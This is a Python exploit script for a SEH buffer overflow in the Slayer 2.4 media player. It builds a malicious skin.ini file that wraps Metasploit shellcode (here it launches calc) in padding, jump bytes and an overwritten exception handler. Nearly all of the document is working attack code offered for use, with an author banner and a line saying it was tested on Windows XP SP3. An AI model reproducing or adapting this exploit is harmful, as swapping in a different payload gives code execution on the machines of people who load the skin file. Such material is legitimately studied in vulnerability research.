Slayer 2.4 Buffer Overflow

`#!/usr/bin/python  
print "**************************************************************************"  
print "[~]Slayer v2.4 (skin) Universal Seh Overflow Exploit (SEH)\n"  
print "[~]AUTHOR: SuNHouSe2 [ALGERIAN HaCkEr]\n"  
print "[~]Email : [email protected]\n"  
print "[~]HOME : http://www.snakespc.com\n"   
print "[~]Tested on: Windows XP Pro SP3 (FR)\n"  
print "[~]Special ThanX : His0k4,& ALL Snakespc.com Members\n"  
print "**************************************************************************"   
  
import os  
  
header1=(  
"\x5b\x53\x43\x52\x45\x45\x4e\x5d\x0a\x4d\x61\x73\x6b\x3d\x2e\x2e\x2f\x61\x62\x64"  
"\x2f\x6d\x61\x73\x6b\x2e\x62\x6d\x70\x0a\x4d\x61\x69\x6e\x3d\x2e\x2e\x2f\x61\x62"  
"\x64\x2f\x6d\x61\x69\x6e\x2e\x6a\x70\x67\x0a\x44\x6f\x77\x6e\x3d\x2e\x2e\x2f\x61"  
"\x62\x64\x2f\x53\x65\x6c\x65\x63\x74\x65\x64\x2e\x6a\x70\x67\x0a\x4f\x76\x65\x72"  
"\x3d\x2e\x2e\x2f\x61\x62\x64\x2f\x4f\x76\x65\x72\x2e\x6a\x70\x67\x0a\x44\x69\x73"  
"\x61\x62\x6c\x65\x64\x3d\x2e\x2e\x2f\x61\x62\x64\x2f\x6d\x61\x69\x6e\x2e\x6a\x70"  
"\x67\x0a\x0a\x5b\x42\x55\x54\x54\x4f\x4e\x49\x4e\x46\x4f\x5d\x0a\x31\x3d")  
  
header2=(  
"\x2c\x33\x32\x34\x2c\x37\x36\x2c\x32\x34\x2c\x31\x36\x2c\x43\x6f\x6e\x66\x69\x67"  
"\x75\x72\x61\x74\x69\x6f\x6e\x2c\x46\x41\x4c\x53\x45\x0a\x32\x3d\x42\x5f\x56\x4f"  
"\x42\x2c\x32\x39\x2c\x33\x31\x2c\x31\x34\x2c\x31\x35\x2c\x4c\x61\x6e\x67\x75\x61"  
"\x67\x65\x20\x53\x65\x6c\x65\x63\x74\x69\x6f\x6e\x2c\x46\x41\x4c\x53\x45\x0a\x33"  
"\x3d\x42\x5f\x50\x4c\x41\x59\x4c\x49\x53\x54\x2c\x37\x30\x2c\x34\x39\x2c\x31\x34"  
"\x2c\x31\x35\x2c\x50\x6c\x61\x79\x6c\x69\x73\x74\x2c\x46\x41\x4c\x53\x45\x0a\x34"  
"\x3d\x42\x5f\x4d\x55\x54\x45\x2c\x36\x34\x2c\x37\x35\x2c\x31\x34\x2c\x31\x35\x2c"  
"\x4d\x75\x74\x65\x2c\x46\x41\x4c\x53\x45\x0a\x35\x3d\x42\x5f\x46\x55\x4c\x4c\x53"  
"\x43\x52\x45\x45\x4e\x2c\x37\x32\x2c\x32\x36\x2c\x31\x34\x2c\x31\x35\x2c\x46\x75"  
"\x6c\x6c\x73\x63\x72\x65\x65\x6e\x2c\x46\x41\x4c\x53\x45\x0a\x36\x3d\x42\x5f\x41"  
"\x42\x4f\x55\x54\x2c\x33\x34\x2c\x38\x36\x2c\x31\x33\x2c\x31\x33\x2c\x41\x62\x6f"  
"\x75\x74\x2c\x46\x41\x4c\x53\x45\x0a\x37\x3d\x42\x5f\x4f\x50\x45\x4e\x2c\x32\x39"  
"\x39\x2c\x37\x36\x2c\x32\x34\x2c\x31\x36\x2c\x4f\x70\x65\x6e\x2c\x46\x41\x4c\x53"  
"\x45\x0a\x38\x3d\x42\x5f\x43\x4c\x4f\x53\x45\x2c\x34\x32\x33\x2c\x35\x2c\x31\x32"  
"\x2c\x31\x30\x2c\x43\x6c\x6f\x73\x65\x2c\x46\x41\x4c\x53\x45\x0a\x39\x3d\x42\x5f"  
"\x50\x52\x45\x56\x2c\x32\x34\x39\x2c\x37\x36\x2c\x32\x34\x2c\x31\x36\x2c\x50\x72"  
"\x65\x76\x69\x6f\x75\x73\x20\x43\x6c\x69\x70\x2c\x46\x41\x4c\x53\x45\x0a\x31\x30"  
"\x3d\x42\x5f\x4e\x45\x58\x54\x2c\x32\x37\x34\x2c\x37\x36\x2c\x32\x34\x2c\x31\x36"  
"\x2c\x4e\x65\x78\x74\x20\x43\x6c\x69\x70\x2c\x46\x41\x4c\x53\x45\x0a\x31\x31\x3d"  
"\x42\x5f\x53\x54\x4f\x50\x2c\x32\x32\x34\x2c\x37\x36\x2c\x32\x34\x2c\x31\x36\x2c"  
"\x53\x74\x6f\x70\x2c\x46\x41\x4c\x53\x45\x0a\x31\x32\x3d\x42\x5f\x50\x4c\x41\x59"  
"\x2c\x31\x39\x39\x2c\x37\x36\x2c\x32\x34\x2c\x31\x36\x2c\x50\x6c\x61\x79\x2c\x46"  
"\x41\x4c\x53\x45\x0a\x0a\x5b\x50\x52\x4f\x47\x52\x45\x53\x53\x49\x4e\x46\x4f\x5d"  
"\x0a\x31\x3d\x50\x52\x4f\x47\x52\x45\x53\x53\x5f\x50\x4f\x53\x2c\x2c\x31\x34\x39"  
"\x2c\x37\x30\x2c\x32\x34\x34\x2c\x34\x2c\x56\x0a\x0a\x5b\x54\x45\x58\x54\x49\x4e"  
"\x46\x4f\x5d\x0a\x31\x3d\x54\x45\x58\x54\x5f\x53\x4c\x41\x59\x45\x52\x2c\x41\x72"  
"\x69\x61\x6c\x2c\x54\x52\x55\x45\x2c\x54\x52\x55\x45\x2c\x2d\x31\x33\x2c\x38\x33"  
"\x38\x38\x36\x30\x38\x2c\x31\x36\x30\x2c\x32\x35\x2c\x38\x30\x2c\x31\x35\x2c\x0a"  
"\x32\x3d\x54\x45\x58\x54\x5f\x43\x4c\x49\x50\x5f\x4e\x41\x4d\x45\x2c\x41\x72\x69"  
"\x61\x6c\x2c\x46\x41\x4c\x53\x45\x2c\x54\x52\x55\x45\x2c\x2d\x31\x31\x2c\x31\x36"  
"\x37\x31\x31\x36\x38\x30\x2c\x31\x36\x31\x2c\x34\x30\x2c\x32\x31\x38\x2c\x31\x35"  
"\x2c\x0a\x33\x3d\x54\x45\x58\x54\x5f\x50\x4f\x53\x2c\x41\x72\x69\x61\x6c\x2c\x46"  
"\x41\x4c\x53\x45\x2c\x54\x52\x55\x45\x2c\x2d\x31\x31\x2c\x31\x36\x37\x31\x31\x36"  
"\x38\x30\x2c\x32\x34\x30\x2c\x32\x35\x2c\x31\x36\x30\x2c\x31\x35\x2c\x0a\x34\x3d"  
"\x54\x45\x58\x54\x5f\x43\x4c\x49\x50\x5f\x49\x4e\x46\x4f\x2c\x41\x72\x69\x61\x6c"  
"\x2c\x46\x41\x4c\x53\x45\x2c\x54\x52\x55\x45\x2c\x2d\x31\x31\x2c\x31\x36\x37\x31"  
"\x31\x36\x38\x30\x2c\x31\x36\x31\x2c\x35\x35\x2c\x35\x30\x2c\x31\x35\x2c\x0a\x35"  
"\x3d\x54\x45\x58\x54\x5f\x54\x49\x50\x2c\x41\x72\x69\x61\x6c\x2c\x46\x41\x4c\x53"  
"\x45\x2c\x54\x52\x55\x45\x2c\x2d\x31\x31\x2c\x32\x35\x35\x2c\x33\x30\x30\x2c\x35"  
"\x35\x2c\x35\x30\x2c\x31\x35\x2c\x0a")  
  
# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com  
shellcode=(  
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1e"  
"\xc7\xd0\x3c\x83\xeb\xfc\xe2\xf4\xe2\x2f\x94\x3c\x1e\xc7\x5b\x79"  
"\x22\x4c\xac\x39\x66\xc6\x3f\xb7\x51\xdf\x5b\x63\x3e\xc6\x3b\x75"  
"\x95\xf3\x5b\x3d\xf0\xf6\x10\xa5\xb2\x43\x10\x48\x19\x06\x1a\x31"  
"\x1f\x05\x3b\xc8\x25\x93\xf4\x38\x6b\x22\x5b\x63\x3a\xc6\x3b\x5a"  
"\x95\xcb\x9b\xb7\x41\xdb\xd1\xd7\x95\xdb\x5b\x3d\xf5\x4e\x8c\x18"  
"\x1a\x04\xe1\xfc\x7a\x4c\x90\x0c\x9b\x07\xa8\x30\x95\x87\xdc\xb7"  
"\x6e\xdb\x7d\xb7\x76\xcf\x3b\x35\x95\x47\x60\x3c\x1e\xc7\x5b\x54"  
"\x22\x98\xe1\xca\x7e\x91\x59\xc4\x9d\x07\xab\x6c\x76\x37\x5a\x38"  
"\x41\xaf\x48\xc2\x94\xc9\x87\xc3\xf9\xa4\xb1\x50\x7d\xc7\xd0\x3c")  
  
payload = header1  
payload += "\x41"*(348-len(shellcode))  
payload += shellcode  
payload += "\xE9\x5B\xFF\xFF\xFF"  
payload += "\x90"*15  
payload += "\xEB\xEA\xFF\xFF"  
payload += "\x50\x37\x40"  
payload += header2  
try:  
os.mkdir("sunhouse")  
out_file = open(r'SuNHouSe/skin.ini', 'w')  
out_file.write(payload)  
out_file.close()  
raw_input("\nExploit file created!\n")  
except:  
print "Error"  
  
  
`